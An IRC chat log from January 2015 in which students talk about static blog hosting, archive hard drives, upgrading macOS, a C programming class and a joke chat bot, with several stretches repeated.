[2015-01-30T00:37:45-0500] <+hardmath123> oh
[2015-01-30T00:37:46-0500] <+hardmath123> :D
[2015-01-30T00:38:31-0500] <+hardmath123> I'm clearly ahead of the game on static sites.
[2015-01-30T00:38:41-0500] • hardmath123: points to his ridiculously hacky blog infrastructure.
[2015-01-30T00:39:31-0500] <@awe> Maybe I should do that with my blog.
[2015-01-30T00:39:39-0500] <@awe> Abandon Ghost and use something completely static and host it on a CDN.
[2015-01-30T00:39:52-0500] <@awe> I could host it on GitHub and use Jekyll for the MD.
[2015-01-30T00:40:56-0500] <+hardmath123> Or Hakyll because haskell.
[2015-01-30T00:41:11-0500] <bob_twinkles> is there actually any decent static CDN software out there?
[2015-01-30T00:41:16-0500] <bob_twinkles> other than Jekyll
[2015-01-30T00:41:18-0500] <bob_twinkles> also
[2015-01-30T00:41:19-0500] <+hardmath123> I wrote my own CMS.
[2015-01-30T00:41:21-0500] <bob_twinkles> not CDN
[2015-01-30T00:41:23-0500] <bob_twinkles> CMS
[2015-01-30T00:41:31-0500] <+hardmath123> It's a hack, but I like it.
[2015-01-30T00:41:37-0500] <@awe> Good point. Hakyll is cool.
[2015-01-30T00:41:46-0500] <bob_twinkles> that's how php started =P
[2015-01-30T00:41:47-0500] <+hardmath123> Mainly because if there's anything to complain about, I can just go fix it.
[2015-01-30T00:41:52-0500] <+hardmath123> yay creature comforts.
[2015-01-30T00:42:22-0500] <bob_twinkles> frickin using strlen as the hash function 
[2015-01-30T00:42:32-0500] <@awe> But GH automatically builds jekyll, right?
[2015-01-30T00:42:40-0500] <bob_twinkles> yeah, I think so
[2015-01-30T00:42:44-0500] <@awe> That's one big advantage.
[2015-01-30T00:42:52-0500] <bob_twinkles> I think it's a push hook
[2015-01-30T00:42:59-0500] <bob_twinkles> so you could probably set that up yourself if you care
[2015-01-30T00:43:08-0500] <bob_twinkles> git actually supports doing things when you get pushed at
[2015-01-30T00:43:22-0500] <bob_twinkles> which is kinda weird
[2015-01-30T00:44:41-0500] <+hardmath123> i had to disable jekyll on mine
[2015-01-30T00:45:54-0500] <bob_twinkles> interfering with your CMS?
[2015-01-30T00:49:12-0500] <+hardmath123> no, something borked and Github sent me an email saying the "page took too long to build"
[2015-01-30T00:49:30-0500] <+hardmath123> i can only imagine it was some obscure bug that caused jekyll's builder to go into an infinite loop
[2015-01-30T00:49:41-0500] <+hardmath123> and so i just disabled it and moved on with life
[2015-01-30T00:50:31-0500] <bob_twinkles> huh, weird
[2015-01-30T00:52:11-0500] <+hardmath123> my blog post drafts are cumulatively around 2,000 words.
[2015-01-30T00:54:54-0500] <@awe> Maybe we can figure out push hooks.
[2015-01-30T00:55:04-0500] <@awe> If not, I could still just build it.
[2015-01-30T00:55:11-0500] <@awe> I could even make a script.
[2015-01-30T00:55:20-0500] <@awe> Have master be the unbuilt branch and then have a script that does
[2015-01-30T00:55:27-0500] <@awe> checkout gh-pages
[2015-01-30T00:55:28-0500] <@awe> build
[2015-01-30T00:55:31-0500] <@awe> commit
[2015-01-30T00:55:36-0500] <@awe> push
[2015-01-30T00:55:41-0500] <@awe> checkout master again
[2015-01-30T00:56:27-0500] <+hardmath123> or, y'know, just do it manually
[2015-01-30T00:56:36-0500] <+hardmath123> you won't post often enough for that to be a bottleneck
[2015-01-30T00:56:38-0500] <+hardmath123> i promise
[2015-01-30T00:58:11-0500] <@awe> That's true.
[2015-01-30T00:58:13-0500] <@awe> You're right.
[2015-01-30T00:58:14-0500] <@awe> I never post.
[2015-01-30T00:58:15-0500] <@awe> :D
[2015-01-30T00:58:33-0500] <+hardmath123> i should publish some stuff
[2015-01-30T00:58:36-0500] <+hardmath123> it's been almost a month
[2015-01-30T00:58:55-0500] <@awe> I keep meaning to write a post about Pdgn.
[2015-01-30T01:00:05-0500] <Hyper> I should publish some stuff, it's been at least 19 years
[2015-01-30T01:00:57-0500] <@awe> I'm actually going to go to bed right now, but I promise I'll do the image stuff tomorrow morning and look into improving my blog.
[2015-01-30T01:43:50-0500] <LittleBobbyTables> 8TB hdd for 250 bucks
[2015-01-30T01:44:43-0500] <bob_twinkles> I didn't know they even built those
[2015-01-30T01:45:07-0500] <LittleBobbyTables> It's meant as an archive drive sadly
[2015-01-30T01:45:24-0500] <bob_twinkles> so not so great seek speeds?
[2015-01-30T01:46:00-0500] <LittleBobbyTables> Speeds are fine, but it's rated for a year of use.
[2015-01-30T01:46:13-0500] <LittleBobbyTables> Put shit on it, then put it on a shelf until you absolutely need to use it.
[2015-01-30T01:46:33-0500] <bob_twinkles> oh, darn
[2015-01-30T01:46:51-0500] <bob_twinkles> I don't think I would actually trust that to stay working if it's only rated for a year of use though
[2015-01-30T01:47:16-0500] <LittleBobbyTables> It's Seagate if that helps you at all
[2015-01-30T01:47:17-0500] <LittleBobbyTables> lol
[2015-01-30T01:52:12-0500] <assface> might as well use a tape driver
[2015-01-30T01:52:14-0500] <assface> *drive
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[2015-01-30T02:29:09-0500] <nezorg> so who here is a fan of sportsball?
[2015-01-30T02:33:55-0500] <bob_twinkles> is tommorrow/today sportsball day?
[2015-01-30T02:37:06-0500] <nezorg> i think Sunday is
[2015-01-30T02:37:42-0500] <bob_twinkles> huh
[2015-01-30T02:37:45-0500] <bob_twinkles> so it is
[2015-01-30T02:38:18-0500] <bob_twinkles> clearly I am not a sportsball fan
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[2015-01-30T07:35:17-0500] <+JacobEdelman> gmorning
[2015-01-30T09:32:37-0500] <ubuntor> moin
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[2015-01-30T11:17:40-0500] <alokpathy> Salutations.
[2015-01-30T11:29:31-0500] <@awe> Hi.
[2015-01-30T11:58:24-0500] <+JacobEdelman> gmorning 
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[2015-01-30T00:45:54-0500] <bob_twinkles> interfering with your CMS?
[2015-01-30T00:49:12-0500] <+hardmath123> no, something borked and Github sent me an email saying the "page took too long to build"
[2015-01-30T00:49:30-0500] <+hardmath123> i can only imagine it was some obscure bug that caused jekyll's builder to go into an infinite loop
[2015-01-30T00:49:41-0500] <+hardmath123> and so i just disabled it and moved on with life
[2015-01-30T00:50:31-0500] <bob_twinkles> huh, weird
[2015-01-30T00:52:11-0500] <+hardmath123> my blog post drafts are cumulatively around 2,000 words.
[2015-01-30T00:54:54-0500] <@awe> Maybe we can figure out push hooks.
[2015-01-30T00:55:04-0500] <@awe> If not, I could still just build it.
[2015-01-30T00:55:11-0500] <@awe> I could even make a script.
[2015-01-30T00:55:20-0500] <@awe> Have master be the unbuilt branch and then have a script that does
[2015-01-30T00:55:27-0500] <@awe> checkout gh-pages
[2015-01-30T00:55:28-0500] <@awe> build
[2015-01-30T00:55:31-0500] <@awe> commit
[2015-01-30T00:55:36-0500] <@awe> push
[2015-01-30T00:55:41-0500] <@awe> checkout master again
[2015-01-30T00:56:27-0500] <+hardmath123> or, y'know, just do it manually
[2015-01-30T00:56:36-0500] <+hardmath123> you won't post often enough for that to be a bottleneck
[2015-01-30T00:56:38-0500] <+hardmath123> i promise
[2015-01-30T00:58:11-0500] <@awe> That's true.
[2015-01-30T00:58:13-0500] <@awe> You're right.
[2015-01-30T00:58:14-0500] <@awe> I never post.
[2015-01-30T00:58:15-0500] <@awe> :D
[2015-01-30T00:58:33-0500] <+hardmath123> i should publish some stuff
[2015-01-30T00:58:36-0500] <+hardmath123> it's been almost a month
[2015-01-30T00:58:55-0500] <@awe> I keep meaning to write a post about Pdgn.
[2015-01-30T01:00:05-0500] <Hyper> I should publish some stuff, it's been at least 19 years
[2015-01-30T01:00:57-0500] <@awe> I'm actually going to go to bed right now, but I promise I'll do the image stuff tomorrow morning and look into improving my blog.
[2015-01-30T01:43:50-0500] <LittleBobbyTables> 8TB hdd for 250 bucks
[2015-01-30T01:44:43-0500] <bob_twinkles> I didn't know they even built those
[2015-01-30T01:45:07-0500] <LittleBobbyTables> It's meant as an archive drive sadly
[2015-01-30T01:45:24-0500] <bob_twinkles> so not so great seek speeds?
[2015-01-30T01:46:00-0500] <LittleBobbyTables> Speeds are fine, but it's rated for a year of use.
[2015-01-30T01:46:13-0500] <LittleBobbyTables> Put shit on it, then put it on a shelf until you absolutely need to use it.
[2015-01-30T01:46:33-0500] <bob_twinkles> oh, darn
[2015-01-30T01:46:50-0500] <bob_twinkles> I don't think I would actually trust that to stay working if it's only rated for a year of use though
[2015-01-30T01:47:16-0500] <LittleBobbyTables> It's Seagate if that helps you at all
[2015-01-30T01:47:17-0500] <LittleBobbyTables> lol
[2015-01-30T01:52:12-0500] <assface> might as well use a tape driver
[2015-01-30T01:52:14-0500] <assface> *drive
[2015-01-30T02:29:09-0500] <nezorg> so who here is a fan of sportsball?
[2015-01-30T02:33:55-0500] <bob_twinkles> is tommorrow/today sportsball day?
[2015-01-30T02:37:06-0500] <nezorg> i think Sunday is
[2015-01-30T02:37:42-0500] <bob_twinkles> huh
[2015-01-30T02:37:45-0500] <bob_twinkles> so it is
[2015-01-30T02:38:18-0500] <bob_twinkles> clearly I am not a sportsball fan
[2015-01-30T07:35:17-0500] <+JacobEdelman> gmorning
[2015-01-30T09:32:37-0500] <ubuntor> moin
[2015-01-30T11:17:39-0500] <alokpathy> Salutations.
[2015-01-30T11:29:31-0500] <@awe> Hi.
[2015-01-30T11:58:24-0500] <+JacobEdelman> gmorning 
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[2015-01-30T13:17:54-0500] Set by hardmath123 on January 19, 2015 at 11:13:03 PM EST
[2015-01-30T00:54:54-0500] <@awe> Maybe we can figure out push hooks.
[2015-01-30T00:55:04-0500] <@awe> If not, I could still just build it.
[2015-01-30T00:55:11-0500] <@awe> I could even make a script.
[2015-01-30T00:55:20-0500] <@awe> Have master be the unbuilt branch and then have a script that does
[2015-01-30T00:55:27-0500] <@awe> checkout gh-pages
[2015-01-30T00:55:28-0500] <@awe> build
[2015-01-30T00:55:31-0500] <@awe> commit
[2015-01-30T00:55:36-0500] <@awe> push
[2015-01-30T00:55:41-0500] <@awe> checkout master again
[2015-01-30T00:56:27-0500] <+hardmath123> or, y'know, just do it manually
[2015-01-30T00:56:36-0500] <+hardmath123> you won't post often enough for that to be a bottleneck
[2015-01-30T00:56:38-0500] <+hardmath123> i promise
[2015-01-30T00:58:11-0500] <@awe> That's true.
[2015-01-30T00:58:13-0500] <@awe> You're right.
[2015-01-30T00:58:14-0500] <@awe> I never post.
[2015-01-30T00:58:15-0500] <@awe> :D
[2015-01-30T00:58:33-0500] <+hardmath123> i should publish some stuff
[2015-01-30T00:58:36-0500] <+hardmath123> it's been almost a month
[2015-01-30T00:58:55-0500] <@awe> I keep meaning to write a post about Pdgn.
[2015-01-30T01:00:05-0500] <Hyper> I should publish some stuff, it's been at least 19 years
[2015-01-30T01:00:57-0500] <@awe> I'm actually going to go to bed right now, but I promise I'll do the image stuff tomorrow morning and look into improving my blog.
[2015-01-30T01:43:50-0500] <LittleBobbyTables> 8TB hdd for 250 bucks
[2015-01-30T01:44:43-0500] <bob_twinkles> I didn't know they even built those
[2015-01-30T01:45:07-0500] <LittleBobbyTables> It's meant as an archive drive sadly
[2015-01-30T01:45:24-0500] <bob_twinkles> so not so great seek speeds?
[2015-01-30T01:46:00-0500] <LittleBobbyTables> Speeds are fine, but it's rated for a year of use.
[2015-01-30T01:46:13-0500] <LittleBobbyTables> Put shit on it, then put it on a shelf until you absolutely need to use it.
[2015-01-30T01:46:33-0500] <bob_twinkles> oh, darn
[2015-01-30T01:46:50-0500] <bob_twinkles> I don't think I would actually trust that to stay working if it's only rated for a year of use though
[2015-01-30T01:47:16-0500] <LittleBobbyTables> It's Seagate if that helps you at all
[2015-01-30T01:47:17-0500] <LittleBobbyTables> lol
[2015-01-30T01:52:12-0500] <assface> might as well use a tape driver
[2015-01-30T01:52:14-0500] <assface> *drive
[2015-01-30T02:29:09-0500] <nezorg> so who here is a fan of sportsball?
[2015-01-30T02:33:55-0500] <bob_twinkles> is tommorrow/today sportsball day?
[2015-01-30T02:37:06-0500] <nezorg> i think Sunday is
[2015-01-30T02:37:42-0500] <bob_twinkles> huh
[2015-01-30T02:37:45-0500] <bob_twinkles> so it is
[2015-01-30T02:38:18-0500] <bob_twinkles> clearly I am not a sportsball fan
[2015-01-30T07:35:17-0500] <+JacobEdelman> gmorning
[2015-01-30T09:32:37-0500] <ubuntor> moin
[2015-01-30T11:17:39-0500] <alokpathy> Salutations.
[2015-01-30T11:29:31-0500] <@awe> Hi.
[2015-01-30T11:58:24-0500] <+JacobEdelman> gmorning 
[2015-01-30T12:55:07-0500] <ubuntor> how's everyone doing?
[2015-01-30T13:02:58-0500] <jwoglom> there are a couple of mac people in here, right?
[2015-01-30T13:03:01-0500] <jwoglom> should I upgrade to yosemite?
[2015-01-30T13:05:32-0500] <nezorg> I don't use it much any more, but yeah
[2015-01-30T13:06:05-0500] <nezorg> also, the seclab profs gave me the go-ahead to start writing a paper to submit to a workshop :D
[2015-01-30T13:16:22-0500] <ubuntor> nice
[2015-01-30T13:17:55-0500] Mode is +nst
[2015-01-30T13:18:01-0500] <@awe> jwoglom: yes.
[2015-01-30T13:18:03-0500] <@awe> jwoglom: 100% yes.
[2015-01-30T13:18:48-0500] <jwoglom> awe: I don't have an iphone so the handoff functionality has no use to me
[2015-01-30T13:18:54-0500] <jwoglom> and i'm not sure how i feel about the visual changes
[2015-01-30T13:18:58-0500] <jwoglom> so i was kind of just holding off
[2015-01-30T13:19:07-0500] <@awe> It's worth it for the full disk encryption anyway.
[2015-01-30T13:19:18-0500] <jwoglom> have you noticed any battery improvements?
[2015-01-30T13:19:20-0500] <jwoglom> i have a 2012 mba
[2015-01-30T13:19:49-0500] <@awe> I've had it almost the entire time I've had this laptop. So, I'm not sure.
[2015-01-30T13:20:41-0500] <jwoglom> hm. i guess I may as well upgrade
[2015-01-30T13:21:01-0500] <jwoglom> only problem is I think i need a new backup drive
[2015-01-30T13:21:08-0500] <jwoglom> don't have enough space for a full disk image which i want to make
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[2015-01-30T13:30:27-0500] <@awe> jwoglom: .-.
[2015-01-30T13:30:30-0500] <@awe> jwoglom: that's annoying
[2015-01-30T13:32:14-0500] <jwoglom> I definately have enough space somewhere for a backup
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[2015-01-30T13:32:26-0500] <jwoglom> just at some point i should really buy a nice portable hdd
[2015-01-30T13:33:02-0500] <Tamini_> hello friends
[2015-01-30T13:33:13-0500] <Tamini_> ~2.5 hours until pilot wher
[2015-01-30T13:33:16-0500] <Tamini_> whee*
[2015-01-30T13:33:47-0500] <@awe> Tamini_: swaggy
[2015-01-30T13:34:19-0500] <Tamini_> yeee
[2015-01-30T13:34:27-0500] <jwoglom> sounds fun
[2015-01-30T13:34:27-0500] <Tamini_> this is so much more fun than pclassic car rides
[2015-01-30T13:34:46-0500] <Tamini_> because the guy sitting to the left of me has half the shoulder width
[2015-01-30T13:34:46-0500] <@awe> we're going over bitwise operations in my systems course now. .-.
[2015-01-30T13:34:51-0500] <Tamini_> of the guy that usually sits next to me
[2015-01-30T13:34:57-0500] <Tamini_> lol are you in class, awe?
[2015-01-30T13:34:59-0500] <@awe> Yes.
[2015-01-30T13:35:04-0500] <Tamini_> baaad.
[2015-01-30T13:35:07-0500] <@awe> I was just doing Rust instead.
[2015-01-30T13:35:16-0500] <@awe> I'm half paying attention and I already corrected our TA twice.
[2015-01-30T13:35:18-0500] <jwoglom> shouldn't you be, like, paying attention
[2015-01-30T13:35:20-0500] <@awe> ^
[2015-01-30T13:35:24-0500] <@awe> I clearly don't need to be.
[2015-01-30T13:35:27-0500] <Tamini_> Also, I have just been accused of being incapable of starting discussions about anything other than math or cs >.<
[2015-01-30T13:35:34-0500] <Tamini_> and lol
[2015-01-30T13:35:41-0500] <Tamini_> oh, awe.
[2015-01-30T13:35:44-0500] <@awe> I already know how to compile things with gcc and I already know how to printf and do bitwise operators.
[2015-01-30T13:35:55-0500] <@awe> Any respectable programmer should know those things.
[2015-01-30T13:35:58-0500] <@awe> Tamini_: yes?
[2015-01-30T13:36:20-0500] <@awe> jwoglom: he didn't even know that %E capitalized the e in scientific notion and that %X capitalized the hexadecimal digits.
[2015-01-30T13:36:26-0500] <jwoglom> Tamini_: start talking about, like, cute cats or something
[2015-01-30T13:36:29-0500] <jwoglom> that's !math/cs
[2015-01-30T13:36:41-0500] <jwoglom> awe: lol
[2015-01-30T13:36:41-0500] <Tamini_> i feel like you're getting accustomed to being better than everyone else
[2015-01-30T13:36:48-0500] <@awe> jwoglom: I think you mean !(math || cs)
[2015-01-30T13:37:01-0500] <Tamini_> technicalities
[2015-01-30T13:37:04-0500] <@awe> lol
[2015-01-30T13:37:10-0500] <jwoglom> awe: yes but extra typing :P
[2015-01-30T13:37:18-0500] <@awe> You could've said !math && !cs
[2015-01-30T13:37:25-0500] <@awe> one less character
[2015-01-30T13:37:27-0500] <ubuntor> demorgan's!
[2015-01-30T13:37:38-0500] <jwoglom> or i could have just said !math/cs
[2015-01-30T13:37:48-0500] <jwoglom> which is just as understandable and easier to type :P
[2015-01-30T13:37:49-0500] <Tamini_> but that's wrong!
[2015-01-30T13:37:54-0500] <@awe> ubuntor: yah
[2015-01-30T13:37:56-0500] <Tamini_> :P
[2015-01-30T13:38:08-0500] <@awe> jwoglom: "I don't know why this produces errors on OS X, but it works on your virtual machine."
[2015-01-30T13:38:10-0500] <jwoglom> gosh, are ya'll robots or something
[2015-01-30T13:38:15-0500] <@awe> jwoglom: directly next to the error: -Wformat
[2015-01-30T13:38:27-0500] <@awe> I don't know, maybe it's because OS X has -Wformat on by default?
[2015-01-30T13:38:29-0500] <jwoglom> awe: heh
[2015-01-30T13:38:30-0500] <@awe> >.>
[2015-01-30T13:38:41-0500] <Tamini_> jwoglom: i thought you were a robot
[2015-01-30T13:38:54-0500] <jwoglom> !whois jwoglom
[2015-01-30T13:38:56-0500] <jwoglom> @whois jwoglom
[2015-01-30T13:38:56-0500] <awebot> jwoglom: jwoglom is either a human or a robot, not sure, send help pls
[2015-01-30T13:39:00-0500] <ubuntor> lol
[2015-01-30T13:39:04-0500] <jwoglom> Tamini_: i still don't know, remember?
[2015-01-30T13:39:17-0500] <jwoglom> i'm in an exploratory period of my life
[2015-01-30T13:39:19-0500] <jwoglom> where i try to figure out
[2015-01-30T13:39:24-0500] <Tamini_> do you pass the turing test
[2015-01-30T13:39:37-0500] <jwoglom> no one's given me a turing test :P
[2015-01-30T13:39:44-0500] <ubuntor> are you human?
[2015-01-30T13:39:49-0500] <ubuntor> or are you dancer?
[2015-01-30T13:39:50-0500] <jwoglom> Maybe.
[2015-01-30T13:40:05-0500] <@awe> ubuntor: lol'd
[2015-01-30T13:40:20-0500] <jwoglom> also, Tamini_ 
[2015-01-30T13:40:22-0500] <jwoglom> aren't you a robot? :P
[2015-01-30T13:40:27-0500] <Tamini_> uh
[2015-01-30T13:40:30-0500] <Tamini_> well
[2015-01-30T13:40:33-0500] <ubuntor> @whois Tamini_
[2015-01-30T13:40:33-0500] <awebot> ubuntor: Tamini_ is NOT TAMINI
[2015-01-30T13:40:36-0500] <ubuntor> @whois Tamini
[2015-01-30T13:40:36-0500] <awebot> ubuntor: Tamini is a robot. beep boop
[2015-01-30T13:40:38-0500] <Tamini_> soo, how about them cute cats
[2015-01-30T13:40:44-0500] <Tamini_> wait
[2015-01-30T13:40:48-0500] <jwoglom> Tamini_: cute cats are cute
[2015-01-30T13:40:56-0500] <Tamini_> awe: who did that?
[2015-01-30T13:41:01-0500] <@awe> I don't know.
[2015-01-30T13:41:03-0500] <@awe> Tamini_: did that.
[2015-01-30T13:41:07-0500] <@awe> Because you have to write @iam
[2015-01-30T13:41:10-0500] <Tamini_> someone with logs
[2015-01-30T13:41:16-0500] <Tamini_> i dont think it was me me tho
[2015-01-30T13:41:16-0500] • jwoglom: greps
[2015-01-30T13:41:31-0500] <jwoglom> 2015-01-22 17:44:00   Tamini_ @iam NOT TAMINI
[2015-01-30T13:41:34-0500] <Tamini_> hm i have 0 memory
[2015-01-30T13:41:42-0500] <ubuntor> maybe require identification to use @iam?
[2015-01-30T13:41:43-0500] <Tamini_> oh huh
[2015-01-30T13:41:44-0500] <jwoglom> 2015-01-22 17:43:57   --      assface is now known as Tamini_
[2015-01-30T13:41:51-0500] <Tamini_> Ah, okay.
[2015-01-30T13:41:52-0500] <@awe> Ah, there you go.
[2015-01-30T13:41:58-0500] <Tamini_> thank you
[2015-01-30T13:42:02-0500] <@awe> You're faster because I had to ssh into my box to get my logs. :p
[2015-01-30T13:42:03-0500] <Tamini_> so im not going insane, heh
[2015-01-30T13:42:07-0500] <jwoglom> well, at that moment
[2015-01-30T13:42:11-0500] <jwoglom> Tamini_ was not Tamini
[2015-01-30T13:42:17-0500] <jwoglom> so it was valid
[2015-01-30T13:42:18-0500] <Tamini_> yes
[2015-01-30T13:42:20-0500] <ubuntor> identity crisis?
[2015-01-30T13:42:23-0500] <Tamini_> thus errything is true
[2015-01-30T13:42:28-0500] <Tamini_> life is great again
[2015-01-30T13:42:38-0500] <jwoglom> Tamini_: while you're in this state of mind
[2015-01-30T13:42:41-0500] <@awe> My TA is now explaining undefined behavior as something that is guaranteed in C.
[2015-01-30T13:42:42-0500] <@awe> Pls no.
[2015-01-30T13:42:43-0500] <jwoglom> can you solve world peace? :P
[2015-01-30T13:42:45-0500] <@awe> PLS NO.
[2015-01-30T13:42:48-0500] <Tamini_> um
[2015-01-30T13:43:07-0500] <Tamini_> well the guy sitting left of me wouldnt appreciate world peace
[2015-01-30T13:43:08-0500] <Tamini_> so no
[2015-01-30T13:43:29-0500] <@awe> right shift is not guaranteed to be arithmetic in C.
[2015-01-30T13:43:31-0500] <@awe> pls stop.
[2015-01-30T13:43:33-0500] <@awe> D:
[2015-01-30T13:43:53-0500] <jwoglom> awe: maybe you should just run up to the front of the room
[2015-01-30T13:43:54-0500] <Tamini_> s'ok awe
[2015-01-30T13:43:56-0500] <Tamini_> shhh.
[2015-01-30T13:43:57-0500] <jwoglom> and teach the class yourself at this point :P
[2015-01-30T13:44:02-0500] <Tamini_> go write your rust code
[2015-01-30T13:44:19-0500] <@awe> I'm not saying anything about it, but this is why people never learn C.
[2015-01-30T13:45:13-0500] <jwoglom> c is annoying
[2015-01-30T13:45:25-0500] <@awe> Yeah, the spec is shit.
[2015-01-30T13:45:40-0500] <@awe> Because the whole point was to be easy to implement on any machine.
[2015-01-30T13:47:19-0500] <@awe> He's now explaining endianness as though it's something historical.
[2015-01-30T13:47:20-0500] <@awe> .-.
[2015-01-30T13:48:15-0500] <Tamini_> >.<
[2015-01-30T13:48:34-0500] <jwoglom> poor awe
[2015-01-30T13:48:37-0500] <ubuntor> :/
[2015-01-30T13:49:01-0500] <jwoglom> ooh yay!
[2015-01-30T13:49:13-0500] <@awe> IIRC, ARM is big endian, right?
[2015-01-30T13:49:35-0500] <jwoglom> that 3tb hdd still in an antistatic bag that I got after my old drive RMAd
[2015-01-30T13:49:38-0500] <jwoglom> I can use that!
[2015-01-30T13:49:44-0500] <@awe> lol
[2015-01-30T13:49:48-0500] <@awe> unless it broke.
[2015-01-30T13:49:50-0500] <@awe> somehow.
[2015-01-30T13:49:57-0500] <jwoglom> well, it was the replacement for the rma'd drive
[2015-01-30T13:50:02-0500] <jwoglom> so it'd better darn work
[2015-01-30T13:50:48-0500] <@awe> Tamini_: all my Rust projects compile, so, there's nothing easy for me to do right now
[2015-01-30T13:50:56-0500] <jwoglom> also, i really shouldn't be using a usb2 dock with a crappy WD blue hard drive as my time machine backup drive
[2015-01-30T13:50:58-0500] <jwoglom> it's so freaking slow
[2015-01-30T13:51:00-0500] <@awe> Tamini_: and I'm not going to start working on the server component of my IRC library right now.
[2015-01-30T13:52:06-0500] <Tamini_> ah, okay
[2015-01-30T13:52:20-0500] <Tamini_> couldnt you still be doing fun things other than suffering by actually listening tho
[2015-01-30T13:52:22-0500] <Tamini_> also,
[2015-01-30T13:52:33-0500] <@awe> Well, I wouldn't want to miss anything in case I don't know something.
[2015-01-30T13:52:36-0500] <Tamini_> the guy sitting next to me was talking about starbound
[2015-01-30T13:52:41-0500] <@awe> Woo!
[2015-01-30T13:52:43-0500] <@awe> Starbound is great.
[2015-01-30T13:52:46-0500] <Tamini_> awe: what are the odds of that, though?
[2015-01-30T13:52:51-0500] <Tamini_> i really want it now
[2015-01-30T13:52:56-0500] <Tamini_> apparently its on sale?
[2015-01-30T13:53:02-0500] <@awe> P(guy talking about Starbound) = 0.6
[2015-01-30T13:53:30-0500] <@awe> P(guy talking about Starbound | guy talking about Starbound) = 1
[2015-01-30T13:53:41-0500] <@awe> you're welcome.
[2015-01-30T13:54:48-0500] <Tamini_> i meant like odds you dont know something that the guy teaches does
[2015-01-30T13:54:53-0500] <@awe> Oh.
[2015-01-30T13:54:56-0500] <@awe> Different.
[2015-01-30T13:54:57-0500] <@awe> lol
[2015-01-30T13:55:17-0500] <@awe> P(him teaching something I don't know | the class just ended) = 0
[2015-01-30T13:55:23-0500] <@awe> Anyway, time to walk back to my room.
[2015-01-30T13:55:26-0500] <@awe> Back in a few.
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[2015-01-30T13:45:11-0500] <jwoglom> c is annoying
[2015-01-30T13:45:23-0500] <@awe> Yeah, the spec is shit.
[2015-01-30T13:45:37-0500] <@awe> Because the whole point was to be easy to implement on any machine.
[2015-01-30T13:47:16-0500] <@awe> He's now explaining endianness as though it's something historical.
[2015-01-30T13:47:17-0500] <@awe> .-.
[2015-01-30T13:48:12-0500] <Tamini_> >.<
[2015-01-30T13:48:30-0500] <jwoglom> poor awe
[2015-01-30T13:48:34-0500] <ubuntor> :/
[2015-01-30T13:48:58-0500] <jwoglom> ooh yay!
[2015-01-30T13:49:10-0500] <@awe> IIRC, ARM is big endian, right?
[2015-01-30T13:49:33-0500] <jwoglom> that 3tb hdd still in an antistatic bag that I got after my old drive RMAd
[2015-01-30T13:49:35-0500] <jwoglom> I can use that!
[2015-01-30T13:49:42-0500] <@awe> lol
[2015-01-30T13:49:45-0500] <@awe> unless it broke.
[2015-01-30T13:49:47-0500] <@awe> somehow.
[2015-01-30T13:49:54-0500] <jwoglom> well, it was the replacement for the rma'd drive
[2015-01-30T13:49:58-0500] <jwoglom> so it'd better darn work
[2015-01-30T13:50:45-0500] <@awe> Tamini_: all my Rust projects compile, so, there's nothing easy for me to do right now
[2015-01-30T13:50:53-0500] <jwoglom> also, i really shouldn't be using a usb2 dock with a crappy WD blue hard drive as my time machine backup drive
[2015-01-30T13:50:55-0500] <jwoglom> it's so freaking slow
[2015-01-30T13:50:57-0500] <@awe> Tamini_: and I'm not going to start working on the server component of my IRC library right now.
[2015-01-30T13:52:03-0500] <Tamini_> ah, okay
[2015-01-30T13:52:17-0500] <Tamini_> couldnt you still be doing fun things other than suffering by actually listening tho
[2015-01-30T13:52:19-0500] <Tamini_> also,
[2015-01-30T13:52:30-0500] <@awe> Well, I wouldn't want to miss anything in case I don't know something.
[2015-01-30T13:52:34-0500] <Tamini_> the guy sitting next to me was talking about starbound
[2015-01-30T13:52:38-0500] <@awe> Woo!
[2015-01-30T13:52:40-0500] <@awe> Starbound is great.
[2015-01-30T13:52:43-0500] <Tamini_> awe: what are the odds of that, though?
[2015-01-30T13:52:48-0500] <Tamini_> i really want it now
[2015-01-30T13:52:53-0500] <Tamini_> apparently its on sale?
[2015-01-30T13:52:59-0500] <@awe> P(guy talking about Starbound) = 0.6
[2015-01-30T13:53:27-0500] <@awe> P(guy talking about Starbound | guy talking about Starbound) = 1
[2015-01-30T13:53:38-0500] <@awe> you're welcome.
[2015-01-30T13:54:45-0500] <Tamini_> i meant like odds you dont know something that the guy teaches does
[2015-01-30T13:54:50-0500] <@awe> Oh.
[2015-01-30T13:54:53-0500] <@awe> Different.
[2015-01-30T13:54:54-0500] <@awe> lol
[2015-01-30T13:55:14-0500] <@awe> P(him teaching something I don't know | the class just ended) = 0
[2015-01-30T13:55:20-0500] <@awe> Anyway, time to walk back to my room.
[2015-01-30T13:55:23-0500] <@awe> Back in a few.
[2015-01-30T13:56:00-0500] <jwoglom> TJ's new network core is online o/
[2015-01-30T13:56:04-0500] <jwoglom> http://ahamilto.net/pics/newnetworkcore.jpg
[2015-01-30T13:56:06-0500] <ubuntor> yay
[2015-01-30T13:56:22-0500] <Tamini_> hehe okay
[2015-01-30T13:56:25-0500] <jwoglom> and that rack is sorta-cableporn-ish
[2015-01-30T13:56:26-0500] <ubuntor> pretty cables
[2015-01-30T13:56:44-0500] <ubuntor> oh, is that a logic gate switch?
[2015-01-30T13:57:09-0500] <jwoglom> that's our new naming scheme for networking hardware
[2015-01-30T13:57:38-0500] <ubuntor> neat
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[2015-01-30T14:16:12-0500] Set by hardmath123 on January 19, 2015 at 11:13:03 PM EST
[2015-01-30T13:45:11-0500] <jwoglom> c is annoying
[2015-01-30T13:45:23-0500] <@awe> Yeah, the spec is shit.
[2015-01-30T13:45:37-0500] <@awe> Because the whole point was to be easy to implement on any machine.
[2015-01-30T13:47:16-0500] <@awe> He's now explaining endianness as though it's something historical.
[2015-01-30T13:47:17-0500] <@awe> .-.
[2015-01-30T13:48:12-0500] <Tamini_> >.<
[2015-01-30T13:48:30-0500] <jwoglom> poor awe
[2015-01-30T13:48:34-0500] <ubuntor> :/
[2015-01-30T13:48:58-0500] <jwoglom> ooh yay!
[2015-01-30T13:49:10-0500] <@awe> IIRC, ARM is big endian, right?
[2015-01-30T13:49:33-0500] <jwoglom> that 3tb hdd still in an antistatic bag that I got after my old drive RMAd
[2015-01-30T13:49:35-0500] <jwoglom> I can use that!
[2015-01-30T13:49:42-0500] <@awe> lol
[2015-01-30T13:49:45-0500] <@awe> unless it broke.
[2015-01-30T13:49:47-0500] <@awe> somehow.
[2015-01-30T13:49:54-0500] <jwoglom> well, it was the replacement for the rma'd drive
[2015-01-30T13:49:58-0500] <jwoglom> so it'd better darn work
[2015-01-30T13:50:45-0500] <@awe> Tamini_: all my Rust projects compile, so, there's nothing easy for me to do right now
